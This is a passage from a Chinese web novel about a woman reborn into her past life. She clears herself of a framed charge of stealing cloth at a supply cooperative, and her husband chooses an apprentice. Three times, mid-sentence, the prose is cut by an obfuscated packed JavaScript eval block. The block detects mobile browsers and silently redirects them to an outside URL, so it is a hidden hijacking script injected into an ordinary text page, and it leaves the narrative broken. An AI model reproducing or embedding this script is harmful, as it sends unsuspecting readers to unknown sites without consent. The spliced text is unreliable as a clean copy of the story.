每次进了新品,我想尝尝味道,好给客人介绍口味,都是自掏腰包,买下来才会吃。因为这事,余主任还当众表扬过我!” 余得有立刻附和,“是是是,我专门在大会上表扬的,供销社的人都知道,王桂香当时还没来,她不知道。” “我兢兢业业工作这么多年,是失心疯了才去贪你那块布吗?”汪顺莲看向周围的邻居,说道,“我跟老于两个人的工资,养我们家这两个小的绰绰有余。如果我真的非要低价跟她买布,还拿了布就跑,她为什么当时不喊出来?” 所有人看向王桂香! “你现在带着余主任来搜我的家,你到底有什么企图?” 这句话终于喊出来了,汪顺莲的眼泪犹如决堤的洪水,瞬间就流了满脸。 这句上辈子哽在她心头,让她日思夜想,怎么也想不明白的话,终于当着众人的面喊了出来! 8. 对质! “我……你……”王桂香被说的哑口无言。 但她知道,不能输,不能露怯,这盆脏水既然已经泼了出去,就一定得泼到汪顺莲身上,绝不能落到自己身上,不然,丢掉工作,坏了名声的就不是汪顺莲,而是她王桂香了。 她干脆一屁股坐到地上,嚎啕大哭,“我没撒谎,就是你强行把布拿走的。你说我陷害你,那你把布拿给大家看看,这多好的布啊,怎么可能是印错花纹,印坏了的布?” 王桂香起身把那块红布从汪顺莲的手里抢走,手一抖,摊开,四面八方的展示给邻居们看,“你们说句良心话,这布像是印错花纹的布吗?就是我跟你说,这是印坏的布,你能信吗?” 这布确实好,上面的花纹虽然没见过,但确实不像是印错的。 就是穿着在外面走一圈,也只有被人夸赞,没有被人挑错的份! “汪顺莲说我故意陷害她,这怎么可能?我拿这种布说是印坏了的布,她能信吗?”王桂香觉得自己找到了站得住脚的理由,立刻理直气壮道,“再者说了,我陷害她,我能得到什么好处?供销社是会给我加工资,还是会给我开表彰大会啊?” 王桂香说着说着就开始卖惨,“我初来乍到的,我在这谁都不敢得罪,汪顺莲就是看中了这一点,才敢逮着我欺负!” 王桂香用手指着汪顺莲,一副受尽了委屈的样子,说道,“你问我为什么当时不喊出来?我是害怕,我害怕得罪你,我害怕当时喊出来了,你联合别人欺负我! 我本来想算了,想瞒过去,可是我晚上回去都睡不着,我怕得罪你,可我更怕公家的财产受损失,到时候追究起来,你推到我身上,我的工作都保不住!” 这两个人公说公有理,婆说婆有理,谁看着都是受了极大委屈的样子。 “你是觉得当时就我们两个人,谁也没办法给我作证,才铁了心要把脏水泼给我吗?”汪顺莲看着王桂香坐在地上,哭的悲惨,问道。 这是……什么意思? 王桂香隐隐觉得有点不对。 依照汪顺莲的性格,她现在不应该这么淡定啊! 她今天很奇怪,从进门就很奇怪,盒子里的钱和票不翼而飞,被污蔑后也不像以前一样,一边哭,一边辩解,她看起来……看起来就像是……知道她要干什么一样! 王桂香心里咯噔一下。 她不想认输,反唇相讥道,“天知地知,你知我知,我相信老天爷会让大家看到你的真面目的。” 周天青一直在旁边看戏,他忽然觉得,这块布应该是说不清楚了。 其中一个人似乎做了万全之策,另外一个也不遑多让,两人都不是好惹的。 “不!”汪顺莲扭头看向余得有,“这件事不是只有我们两个人知道,我把布拿回家后,就觉得不对,这块布确实很好,不像是印坏了的布。不过,我当时没想到王桂香会拿这块布陷害我,我只以为是她业务不到位,把好布当成坏布了,或者……” 汪顺莲看了王桂香一眼,继续说道,“我担心她是不是故意这么干的,拿这些布当好处,来讨好我们这些同事。我怕冤枉她,更怕她走错路,就想着,得找个机会跟她谈谈! 我先是拿着钱和票找到了赵会计,主动补了这块布应付的钱和票,赵会计都有记录,还跟赵会计询问王桂香的工作怎么样?是不是经常出错?” 王桂香听着汪顺莲的叙述,人都傻了! 竟然……竟然跟别人说了这件事,还……还留下了证据…… “赵会计跟我说,王桂香干活很利索的,来了小半年了,除了刚开始,业务不太熟练的时候出过错,之后就再也没出过错! 我当时就跟赵会计说了这事,还说,她初来乍到的,又是一个小女孩,可能害怕融入不进集体,才会干出这种糊涂事,要是直接说出去,或者汇报给余主任,恐怕会对她以后的路有影响,就跟赵会计商量,干脆,我做点饭带过去,借着让大家尝尝我的手艺的名头,约几个供销社里资历老的,把王桂香叫过去,跟她把话说开。 让她别害怕,只要以后改了,这事就算完了!我的钱和票都补上了,赵会计也不会画蛇添足,特意把这事写上。这只鸡……”汪顺莲指着还没来及收拾好的鸡,说道,“就是我打算明天带过去给大家伙尝尝的菜,我买鸡的时候也跟老孙头说了,他觉得一个小姑娘干出这种事,也是我们平时没把她照顾好,就出了一半的鸡钱。” “汪大姐心善,在这十几年了,我们都知道!”有人忍不住喊出声。 抓住别人的错处,不但没有落井下石,反而处处为对方着想,还自掏腰包,生怕她不改,继续走错路。 谁碰到了不称一句‘贵人’? “孩子!你干了错事不怕,只要肯认错,就还能挽回。你要是铁了心继续犯错,那可谁都救不了你喽!” 王桂香听了这话只想冷笑,挽回? 怎么挽回? 县里的人都叫过来了,不拿一个结果出来,难道让他们空手回去? 王桂香可没这么能耐! 她这个供销社的工作是托了很多关系,废了很大力气才拿到手的,不然,她怎么会一个人跑到江城来工作? 要是丢了这个工作,回去在家里待业,遭人白眼,她干脆一头撞死算了。 如今只有一个办法,死不认账,说不定,汪顺莲是唬她呢! 王桂香就不信,像汪顺莲这样三棍子打不出一个屁,只知道管自己一亩三分地的人,会花这么大力气帮她? “你不用在这里编故事!”王桂香咬着牙不松口,“我自己干了什么,没干什么,我心里清楚的很。你要是真有证据就拿出来,别在这空口白牙欺负人!” “证据我有!” 王桂香刚说完,外面的小巷子传来一个声音,紧接着,于家的大门被拍响,“先让我进去。” 于秀荷离门最近,她眼疾手快跑了过去,把大门打开。 赵会计推着自行车走了进来,后面还跟着余得有的老婆郑家珍,她也推着自行车,累的气喘吁吁的。 赵会计把车子停好,从怀里掏出自己记录的账簿,递给余得有,“要不是郑大姐去找我,我还不知道出事了呢!” 赵文哲听郑家珍说事情不对,立刻就想到了汪顺莲找他反应的这件事,顺手把自己记录的账簿带上了。 “供销社的办公室里还有一本正式的账簿,钱和票我都交给出纳小吴了,她那里也有记录。把账本翻开一核对,什么都清清楚楚了!” 周天青翻了翻他的账簿,上面记录的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315374|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西不怎么正式,看起来就是一个防止自己忘事的小记事本,很多做数据工作的老同志都有这个习惯。 虽然当不了正式的证据,不过……既然人都来了,还把记录在那说清楚了,连核对的方法都提供了,应该不会有假。 那…… 他看向王桂香! 所有人都看向王桂香! 尘埃已定!任凭王桂香再怎么样也翻不出花了。 汪顺莲往她面前一站,质问道,“你现在能说实话了吧?为什么要陷害我?是谁指使的你?” 王桂香只觉得眼前一阵一阵的晕眩,她不敢想自己会有什么后果,这些人一定会拿她开刀的吧,她的工作也保不住了,不……不行。 她抬起头,看向汪顺莲的脸,又看向站在旁边,替汪顺莲说话的赵文哲,“你……你们……你们陷害我,你们设局害我!” 没有人再相信她的话! 汪顺莲叹了口气,说道,“设局害你?我为什么要害你?难道害了你,我有什么好处?再者说了,就算我一时上头,真干出那种事,你也说了,我是供销社的老员工了,我推脱自己当时没拿钱,后面把钱和票补上不就行了,我何苦设这么一个局?” 最后这句话,汪顺莲是看着王桂香的眼睛说的,“难道我能提前知道你要因为这块布,来搜我的家?” 王桂香只觉得自己看到了一个妖怪,惊吓过度后,她直接晕了过去。 郑家珍连忙上去扶住王桂香,嘴里念叨着,“哎呦这小孩,有胆子害人,没胆子被人骂哦!” 于闻仲也走上前,抱住汪顺莲。 这一场闹剧总算告一段落! 余得有上前,发现王桂香是真的晕了过去,连忙看向周天青,等待他的指示。 周天青也怕闹出人命,说道,“赶紧把她送去医院!” 余得有,郑家珍,还有跑过来的徐大宝也搭了一把手,把王桂香扶上自行车,一人推车,两人一左一右扶着人,匆匆忙忙把人拉出于家。 周天青开始四处赶人,“散了!大家都散了!” “等一等!” 于闻仲开口把人留了下来,“这位同志,你们今天闹这么一出,总得给我们一个说法吧!顺莲的名声可不能就这么白白的被毁了!她可是我们江城闻名的汪一铲!” “现在事情还没有查清楚,等查清楚之后,如果汪顺莲是清白的,一定会给她恢复名誉的!” “那要等到什么时候?”汪顺莲不服,“你今天不给个说法,明天我贪污公家财产的消息就传遍了,以后我还怎么在供销社工作?” 周天青感觉自己的太阳穴一阵一阵的疼! “事情没有查清楚之前,我不能断定谁是清白的,当然,我也不能断定谁是贪污公家财产的罪犯!” “行!你说你要查清楚,我自认堂堂正正,我不拦你,但我有一个要求!” “你说!”周天青觉得自己在这就像一个NPC,等着完成某种任务。 “事情查清楚之后,如果是王桂香陷害我,就让她在供销社,当着大家伙的面,给我道歉!同时,还要为我澄清,告诉所有人,我没有贪污公家财产!” 必须让所有人做见证,否则,以后再提起这事,黑的白的又说不清了! 9. 背景! 很合理的一个请求,王桂香既然告到了主任办公室,假如真的是诬告,当面道歉是情理之中的事情。 至于给汪顺莲澄清没有贪污公家财产的事,那就更简单了。 他来就是为了查这事来的。 “行!”周天青毫不犹豫的答应下来。 汪顺莲轻轻的松了口气。 答应下来就好,名誉上的事,造谣容易,澄清难。 “不过……”周天青继续说道,“王桂香虽然晕了过去,但这事还得继续查,到时候需要你配合的,我希望你能尽量配合。” “这个当然!”汪顺莲只想让这事早点过去,“你有什么需要,尽管来找我,我不是在供销社,就是在家,两个地方你都能找到。” 既然说清楚了,周围的邻居也都慢慢散了。 周天青和王家祥带着赵文哲回供销社拿资料,三人从于家出来,朝供销社走去,天已经黑了,路上几乎没有行人了。 刚开始三人都没说话,只有脚步声和自行车车轮压过地面的声音。 突然,周天青开口问道,“汪顺莲常去找你吗?” 赵文哲心中一惊,不过,他以前也是见过世面的,面上不动声色的说道,“她是个女同志,性格又稳重,来找我找的少。这次也是凑巧,她来找我补钱和票,跟我聊起来了,我们才商量的这个办法。只不过……没想到王桂香会闹成这样……” 凑巧? 真的是凑巧吗? 那也太凑巧了! 周天青在这个岗位工作多了,知道大部分的凑巧都是人为,只有极少数的凑巧才是天意。 如果汪顺莲没有赵文哲的证据,怎么说也是说不清的。毕竟,王桂香说的那块布在汪顺莲家里找到了,她确实也曾付了八折的买布钱,付钱的时候也没给布票。 这到底如赵文哲所说的只是凑巧,还是汪顺莲把布拿回家后,意识到这可能是一个陷阱,特地来找他做的证? 不过……这都跟周天青没关系,虽然心里很好奇,但是,他这次来是有正事的。 那些举报汪顺莲的信,赵文哲知不知道呢? “汪顺莲平时跟别人相处的怎么样?”周天青看似闲聊的继续追问道。 “她脾气好!”赵文哲回答问题滴水不漏,“我平时都在办公室忙,她是售货员,在柜台忙,我们两个见面的时间不多,不过,工作几年,我跟她从来没闹过矛盾。平时听别人评价她,也多听的是能干、贤惠、脾气好之类的。 不管是同事,还是客人,都挺喜欢她的,她还有个外号叫‘汪一铲’,是来买糖的客人叫开的,说她下手精准,足斤足称!” 几人一边走一边闲聊,多是周天青问问题,赵文哲回答。 没多久,供销社就到了,原本这个时候供销社应该关门的,但今天闹出这个动静,供销社也没敢关门,留了一个人守着。 赵文哲带两人去了财务室,给了他们现存的历年账簿。 他特意翻到收取汪顺莲钱和票的那条记录,指给两人看。 “这是记账,因为她当时给我钱和票的时候是去我家给的,所以,我只能记到第二天!”赵文哲解释道,“钱和票都在出纳小吴那里。我没有她的钥匙,你们要是想看的话,我让人去把她叫来。” “不必了!”周天青说道,“我们先把账簿带走,至于那些实物证据,等明天来供销社当面检查吧!” “那行!”赵文哲点点头,坐在办公桌前写了一张条子,上面写清楚周天青和王家祥要拿走的账簿,对两人说,“本来是要我跟主任一起才能移交给你们的,但现在情况特殊,主任不在,你们既然要带出去,还是给我留个借据吧!” 不愧是会计,办事就是注意‘留痕’! 周天青和王家祥两人都在上面签了字,赵文哲才把东西交给二人。 “今天时间也不早了,我们打搅的够多了!”周天青又换上笑嘻嘻的样子,说道,“赵会计,你就先回去休息吧!” 几人从供销社出来,赵文哲骑上自行车回家去了。 两人往招待所走,边走边讨论今天的事。 王家祥问道,“你觉得今天的事……谁的可信度更高一点?” 周天青很是无所谓,“我只看证据,谁的证据能对上,谁说的就是实话!” 只会打嘴仗,没有证据的,不管她说的多么天花乱坠,周天青也不会相信一个字! “我倒是觉得汪顺莲说的更可信一点!”王家祥分析道,“首先,她去补了钱和票,要真像王桂香说的那样,那块布是汪顺莲‘抢’走的,那等她后悔,想要补票的时候,大可以推脱一句‘当时走的急’,没必要搞这么大阵仗,又是杀鸡,又是请客的。” 周天青没有说话,显然,他也觉得王家祥说的有道理。 “不过……”王家祥又补充道,“除非汪顺莲特别注重自己的名声,不想传出‘不好’的名声,害怕王桂香说错话,特意摆出这么大阵仗,想让她闭嘴!只不过,没想到王桂香会去告状,也没想到会碰到我们!” 转眼间,已经走到了招待所门口。 两人掏出身份证明,在招待所要了两间房。 王家祥没进去,把手里的账簿递给周天青,说道,“这些东西还是你去翻吧,我一看就脑子疼!王桂香那边也不知道怎么了,我去看看,别真搞出事,不然我们不好交代!” 看账簿是周天青的看家本事,他也没推脱,接过账簿,叮嘱了两句,“看两眼,要是没事就回来,别被人讹上。” “行了!你还不放心我吗?” 王家祥一个人走进夜色里,没多久就到了医院,还没进门就看见郑家珍在门口训余得有。 “你走之前怎么不知道跟我说一声呢?你差点吓死我!” 余得有窝窝囊囊的解释,“我哪敢啊?他们两个可是经侦处来的。” “什么经真、经假的,出事了,你就该跟我说一声。” “经侦!经济侦察处!”余得有纠正道。 王家祥离得远远的就开始打招呼,“余主任?” 余得有立刻回头,露出假笑,“是王同志啊?” “我过来看看,那个女同志没什么事吧?”王家祥也露出假笑。 “没事!没事!”余得有让他别担心,“刚到医院就醒了,医生给她挂了一瓶水,说让好好休息一晚上!” “那就好!”王家祥说道,“我进去看一眼,你们没事就先回去吧!我看完也就回去了!” “好好!”余得有让他进去,“你去看吧!这会儿应该还没睡呢!” 王家祥走进医院,被护士引到王桂香的床前,“就是这!” 王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315375|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桂香本来闭着眼在睡觉,听见声音,睁开眼就醒了。 “谢谢你了!”王家祥跟引路的护士道谢。 “不用谢!都是我的本职工作!”护士点点头,离开时还拉上了把床铺隔开的帘子。 王桂香从床上坐起来,看向王家祥的眼神有些躲闪。 王家祥拉出旁边的椅子,坐下,脸上的表情冷了下来,声音却还带着笑意,说道,“王桂香同志,你的身体还好吧?有没有大碍?” 一边说,一边拿出随身携带的笔记本,在笔记本上写道,“汪顺莲说的是真的吗?” “我……我好多了!”王桂香一边配合,一边接过王家祥递过来的笔记本。 看了上面的问题后,她点点头。 王家祥瞬间露出恨铁不成钢的表情。 王桂香看见这表情,更加羞愧,脸上带着惧意,从王家祥手里拿过钢笔,在纸上写下,“我没有想到她会找人作证,对不起!” 笔记本被重新递回到王家祥手上,他看了一眼王桂香写下的字体,继续写道,“你最大的问题就是把输赢压在对手会不会犯错上!” 王桂香看见他写的字,还想辩解,王家祥又写下,“有那些证据存在,周天青不会相信你说的任何话,这次,你输定了。你让人写的那些举报信也是一个问题,如果周天青继续查下去,说不定会查到父亲那里…… 这件事必须尽快结束,你要把责任全部揽下来,就说你当时犯了错,以为新布是印坏的布,想讨好老员工。意识到错误后,你害怕被问责,就想出了诬陷她的办法,还写了几封举报信……” 王桂香看到王家祥的话,连连摇头! 如果真的就这么承认了,诬陷……举报……这两项罪责怪下来,她的工作百分百会丢掉,她不要,不要…… “让父亲救救我……” 王桂香在笔记本上匆匆写下这句话。 王家祥冷漠的划掉‘父亲’两个字,抬头瞪了王桂香一眼,这一眼,吓得王桂香瑟缩回被子。 “以后,不论在任何场合、任何人面前,都不能再提起那两个字。还有,这次的事情是你自作自受,没有经过我们同意,就贸然制定这个计划,我们肯配合你,想办法派人下来已经是念在你以前吃过很多苦的份上,如果牵扯到父亲,你担得起这个责任吗?” 看着王家祥写下的一个又一个字,王桂香流下绝望的泪水,完了!他们不可能出手救她了。 看见王桂香哭的如此之惨,王家祥于心不忍,便在笔记本上写下,“不要哭了。诬告就不说了,这事是板上钉钉的。不过,你大可以控诉在供销社很孤独,犯了错又害怕被责罚,才做出这种事。你年纪小,只要好好认错,不一定会有多大的责罚。 至于举报信,这些也并非全是假的。供销社给内部员工开‘福利’是事实,哪个供销社都不例外,你只要咬定见过其他人私下分东西,他们也未必能百分百说没有。 这种事情,查也查不出个所以然,最后也是一笔无头账。 不过,只要有一点真,就不能说假! 查到最后,能定你罪的就只有对汪顺莲的诬陷和举报,看起来严重,但往小的说,也就是打个小报告的事,直接开除你,让你滚回家的机率不大。 你一个劲的卖惨,一个劲的求饶,说不定还有一线生机!” 10. 徒弟! 除此之外,也没有其他的办法了。 王桂香看着王家祥写下的字,一脸麻木,她已经在心里接受了这个现实,她知道,那个人……是不会来救她的。 外面有脚步声由远及近,王家祥收起笔记本,王桂香也擦干脸上的眼泪,两人调整好素不相识的表情。 隔帘被拉开,余得有伸头往里看,问道,“王同志,忙了一晚上没吃饭吧?我老婆回家做饭去了,你要是不嫌弃,不如跟我回家吃点东西垫垫肚子吧!” 王家祥连忙摆手拒绝,“不不不,今天已经打扰你们很久了。我看王桂香同志身体上也没什么大碍,我也该去招待所了。我们明天在供销社见面吧!” 被拒绝了就算了! 余得有只是客气客气,要是王家祥真去他家吃饭,他才是浑身不自在呢! “那我不送你了!” 两人互送到医院门口才分开。 夜已经深了! 于家那场闹剧结束后,于闻仲关上大门,四人回到屋子里,收拾被翻东西弄乱的衣物和家具。 “这场劫总算过去了!”汪顺莲心有余悸的说道。 于秀雅走到汪顺莲面前,紧紧抱住了她,于秀荷也放下手里的衣服,走上前抱住汪顺莲。汪顺莲一左一右抱住两个女儿,才终于感受到重生而来的生机感! 活了!终于活了! 于闻仲没有打扰母女三人的美好时刻,他走去小厨房,开始做饭。 四人收拾好东西,坐在餐桌上吃饭,汪顺莲随口问道,“你明天加班吗?” 于闻仲在机械厂加班是家常便饭,可以说,几乎就没有不加班的时候,最近几天按时下班,明着是因为秀荷生病,要赶着回来照顾,实则是为了应对‘布票’事件! 如今,秀荷的病也好了,‘布票’事件也过去了,不管明里暗里,于闻仲似乎都要回到以前的老状态了。 “不加班!”于闻仲理所当然的说道,“加班也没有加班费,在厂里呆着干嘛?还不如回来陪陪你们呢!” 汪顺莲闻言笑了起来,调侃道,“这次没有我拖你后腿,说不定‘优秀标兵’还能评给你呢!你不去加班,‘优秀标兵’不要啦?” 于闻仲一口一个大实话,说道,“再优秀也只是一张纸,也不能换成钱,我上辈子那么难,想多挣两个,厂里还对我有意见呢!说我抢年轻人的‘饭碗’!这辈子我可得大方点,不仅不抢年轻人的‘饭碗’,还要把这个‘优秀标兵’让给别人!” 饭桌上你来我往,其乐融融! 这是多少年没见过的场景了,于秀荷十分感慨。 “妈,家里还有多余的钱吗?”于秀雅问道,“我想拿钱去找老师学表演!” “有啊!”汪顺莲问道,“哪个老师啊?要不要妈给你问问?” “不用!也不是老师,就是一个回江城养老的戏曲家。” 那个戏曲家姓什么,于秀雅忘了,上辈子也只是听过一两句她的消息。 听说她是有名的戏曲大家,前些年,因为一些原因,经常被批斗,后来,运动结束了,她心灰意冷,回到了江城养老,之所以听到她的消息,是后来要拍一部电影,里面涉及戏曲的桥段,导演不知道从哪里得到的消息,三顾茅庐,硬是把她老人家请去了。 电影大获成功,报纸上写了一大篇有关她的文章。 于秀雅当时被困在婚姻里,看着报纸上的新闻,心里不知道有多羡慕! 于秀雅想找她学一点有关戏曲的身段,过段时间,就会有剧组来这边挑演员,听说是要拍一个古代的名著,越有身段,越有气质的女孩子越容易被选上。 “行!明天早上妈给你拿钱!”汪顺莲在孩子未来的投资上是绝不会吝啬的。 “这几天先不用,等我先把人找到再说。” 几人聊着聊着,于秀荷突然想起一件事,开口问道,“爸,过完年,你是不是要开始收徒弟了?” 于闻仲是八级工,厂里为了让他们的手艺传下去,也想让更多的年轻人学点东西,就强制这些级别高的老师傅收徒弟。 有些人不愿意,厂里也不想跟老师傅们闹矛盾,就退了一步。 让想拜老师傅为师的年轻人主动去拜师,至于收不收徒弟,主动权在老师傅手里。 这样一来,想拜师的人会想尽办法讨好老师傅,而老师傅也可以借此得到一些好处。 到最后,年轻人有老师傅指导,老师傅有了‘孝顺’的徒弟,厂里也成功完成任务! 共赢! 这是很久之前就公布的消息了,徒弟和老师傅也差不多到最后选择的时候了。 于闻仲这边看好两个人,一个叫冯腾飞,三级工,原本不是于闻仲手下的人,但自从颁布了互选徒弟的消息后,冯腾飞就经常跟着于闻仲一起加班,说想在他手底下学东西。 于闻仲也问过,为什么不直接去拜他原本组里的老师傅,冯腾飞没说话,于闻仲也不好再问。 后来,有人跟于闻仲说,冯腾飞是乡下考上来的,家里没有助力,人也过于老实了,不怎么受他原本组里人的喜欢。 可冯腾飞在于闻仲手底下学了一段时间后,做出来的东西让于闻仲刮目相看,觉得他有天赋,要是跟着于闻仲踏踏实实学几年,以后当上八级工不是问题。 还有另一个人叫蒋理想,也是三级工。他一直是于闻仲手下的人,人吧,也不坏,不过,他跟冯腾飞相比,简直是彻彻底底的两个人,家里的条件比较好,进机械厂也是家里安排的,人聪明是聪明,但是不上进。 就跟徐大宝一样,下了班就溜。 不是去这玩,就是去那玩,根本找不着他。 得到拜师的消息后,蒋理想也找了于闻仲,说想跟着他学。 于闻仲当时就问他,平时吊儿郎当的,这次怎么这么上进了。 蒋理想也实诚,直接告诉于闻仲,是他爸让他过来的,还让他带了东西,有酒有肉有糖,说是‘拜师礼’。 “我不要你这些东西!”于闻仲最烦人家送礼。 “于师傅,我知道你不喜欢收礼,但是,这是我爸让我拿来的,我要是不给你,回去非得被他打死不可!”蒋理想惯会卖惨,“你就收了吧!也别当拜师礼了,就当我这段时间在你手底下,偶尔犯错,你包容我的谢礼!” 于闻仲坚决不肯收。 他说道,“你把东西拿回去,要是真想拜我为师,让我教你东西,就从今天开始,下了班,老老实实跟我学一个小时。能做到,我就考虑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315376|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,做不到,送我什么东西也白搭!” 也不知道蒋理想他爹给他施了多少压力,这么说了之后,蒋理想还真就每天留下来多学一小时。 不过,一小时就是一小时,多一分钟都不干。 时间一到,立马就溜。 上辈子,发生‘布票’事件后,于闻仲受了很大打击,精气神也不怎么好,到了选徒弟的时候,他在两个人里游移不定。 最后,可能是因为发生在自家身上的事情,让他对暗暗受组里排挤的冯腾飞多了几分怜爱,又想到就算他不选蒋理想,他还能有其他的去处,便选了冯腾飞做他的徒弟。 冯腾飞深受感动,一直说将来有机会一定会报答于闻仲。 于闻仲也没有藏私,把自己会的东西倾囊相授。 可他万万没有想到,当他因为经济困难,私自收钱帮其他人干活后,居然受到了冯腾飞的举报。 那时家里少了汪顺莲的收入,两个孩子又正在上学,固定的学费、学杂费、日常的花销都得出。 汪顺莲因为名声的原因,到处找工作都碰壁。 家里每个月都超支,于闻仲心里很是着急。 这时候,见他有困难的工友便把自己的工作分给他一部分,私下给他钱。 反正于师傅的手艺是没得说,他自己也不想那么累,花一点钱把难干的工作包出去,每天的日子不知道有多轻松。 这种事厂里是不允许的,但于闻仲平时热心助人,人品什么的都没得说,也不会有人多此一举去举报。 可他万万没想到,最后把这件事踢爆的居然是他掏心掏肺教出来的徒弟。 冯腾飞向厂里的大领导举报了这件事,于闻仲被叫去谈话,厂里看他是老员工,又是八级工,才没给他处分。 不过,把他从八级降到了七级,工资又少了一部分。 家里的日子过的愈发艰难! 于闻仲身体上劳累,经过这件事后,心里上也煎熬了一阵子,后来猝死在岗位上,要说跟这件事没有一点关系……于闻仲说不出这话! 他不是责怪谁,但是…… 他绝不会再收冯腾飞做徒弟。 反倒是蒋理想,拜师失败后,他家里通过关系,给他找了另一个老师傅,虽然只是七级,但手里的技术也很不错。 蒋理想也从于闻仲手下调了过去。 后来,于闻仲被厂里处罚之后,蒋理想私下找到于闻仲,塞给他一笔钱,说是‘学费’,谢他那段时间每天教他一个小时,让他学到了很多。 于闻仲不想要,蒋理想硬塞给他。 迫于家里经济上的压力,于闻仲还是收下了。 这笔钱也让家里小小的喘了一口气,撑到了汪顺莲靠踩缝纫机赚到钱。 如今,于秀荷再提起这件事,于闻仲也开始思考。 不是思考选谁做徒弟,而是思考怎么摆脱冯腾飞! 他这种人,上辈子掏心掏肺的教他,都能反手举报,这辈子让他每天加班好几个小时,结果没选他,不知道要在心里记恨多久。 虽然并不是于闻仲让他来加班的,但冯腾飞一定会把这些算到于闻仲身上。 要想个办法,冯腾飞不记恨还好,要真记恨,就让他吃吃苦头。 11. 召回! “蒋理想是个好孩子,这辈子就收他当我的徒弟吧!”于闻仲说道。 汪顺莲也赞同,“他不是那种拜高踩低的人,我们家沦落到那种地步,他还来帮我们,这次,你可得好好教他。” “这你放心!” 说完这个,于秀荷又提起自己上学的事情。 她现在在上初二,成绩不怎么样,但那是表象,她现在可是实实在在的大人,初二的知识对她来说,简直是小菜一碟。 “我想跳级!”于秀荷一本正经的说道。 于秀雅嘴里那口饭差点呛出来,“跳级?跳到初三?” 汪顺莲也不赞同,“好好学,你那成绩都没眼看。” “那是之前,现在我已经都会了。”于秀荷辩解道。 “先拿出点成绩给我们看看吧!”于闻仲也不赞同跳级,“现在跳上去干什么啊?总不能小小年纪就出来当工人吧?” 好像也是…… 于秀荷只想到她现在去上初二很幼稚,却没想到,她现在只是一个十四岁的小姑娘,不论去干什么,似乎都太小了。 吃完饭,收拾完东西,四人齐齐到床上睡觉。 ‘布票’事件结束,她们一家的命运真的改变了! 这一夜,她们睡得很熟。 第二天一早,吃过早饭,于闻仲去机械厂上班,汪顺莲去供销社上班,于秀雅和于秀荷双双出门上学。 于闻仲到了厂里,冯腾飞已经出现在他的工位旁了,手里拿着零件,正在琢磨。 看见于闻仲,冯腾飞站起身,恭恭敬敬的喊了一声,“于师傅早!” 于闻仲点点头,算是打过招呼。 “于师傅,我有一点不明白……” 冯腾飞确实刻苦,天赋也高,如果上辈子他没有背刺于闻仲,于闻仲这辈子也肯定会收他当徒弟,可是……一个人,不管他天赋如何,人品是第一位的。 于闻仲三两句把冯腾飞的疑问解释清楚。 冯腾飞感激的说道,“于师傅,多谢你,要不是你倾囊相授,这些东西我想上几个月也想不明白。” 于闻仲见周围的人来的都差不多了,便继续说道,“腾飞,你跟着我加班也有小半年了,我能教你的也都教你了。但是,手上的技术活,也不是只靠学就能学会的,还是得沉淀沉淀。 我实话跟你说吧,我闺女这次生病之后,我想明白了,我年纪大了,再加班也不行了,所以,以后我下了班就得走,回去帮我老婆分担家务。你想学东西,还是再找找其他师傅吧!” 于闻仲刚说完,冯腾飞原本还带着笑容的脸瞬间阴沉下来。 “于师傅,你说这话是什么意思?” 于闻仲干脆挑明,“厂里说让我们这些老师傅挑徒弟,我年纪大了,干不动了,只想挑一个让我能轻松一点的徒弟。你每天加班,有干劲,我挑你是耽误你……” 于闻仲还没说完,冯腾飞就打断他,说道,“我不怕你耽误我!” “厂里让我们这些老师傅教徒弟,是想让青年员工的整体素质往上升一升,我教不了你,还挑你当徒弟,不仅对不起你,还违背厂里实行政策的目的!再说了,我的身体我自己知道,再强撑着教你,迟早把我累死!我家里一大家子还指望着我呢!”于闻仲笑笑,“我不能因为你撇下我那一大家子不管吧?” 说的已经非常明白了! 冯腾飞还想争取,蒋理想走上前,激动的询问道,“于师傅,你是打算收我当徒弟了?” 他把冯腾飞挤到身后,故作夸张的说,“您终于被我的努力打动了!我每天加班加一个小时真是太累了,您放心,您收了我当徒弟,我绝对不让您累着。以后我只在上班时间请教您,一下班我就跑,绝对不给您教我的机会!” 有机会给自己争取利益,蒋理想怎么可能放过? 更何况,他为了能成为于师傅的徒弟,这小半年每天都加班加一个小时,此时此刻不上去争取,回头传到他爹耳朵里,他爹得拿棍子打他。 “于师傅,请受徒儿一拜!”说着就要行拜师利! 于闻仲赶紧伸手把人拽起来,“胡闹什么呢?” 蒋理想人缘好,刚来于闻仲这里没多久就跟其他人混成一片,如今,在于闻仲这个组里,除了于闻仲,就他说话最好使。 他在这胡闹,其他人非但不拦着,反而撺掇着起哄! “于师傅,就受他这一拜吧!收不收徒弟再说,先把便宜占了呗!” “拜师礼都是三拜,你就这一拜可不行啊!” 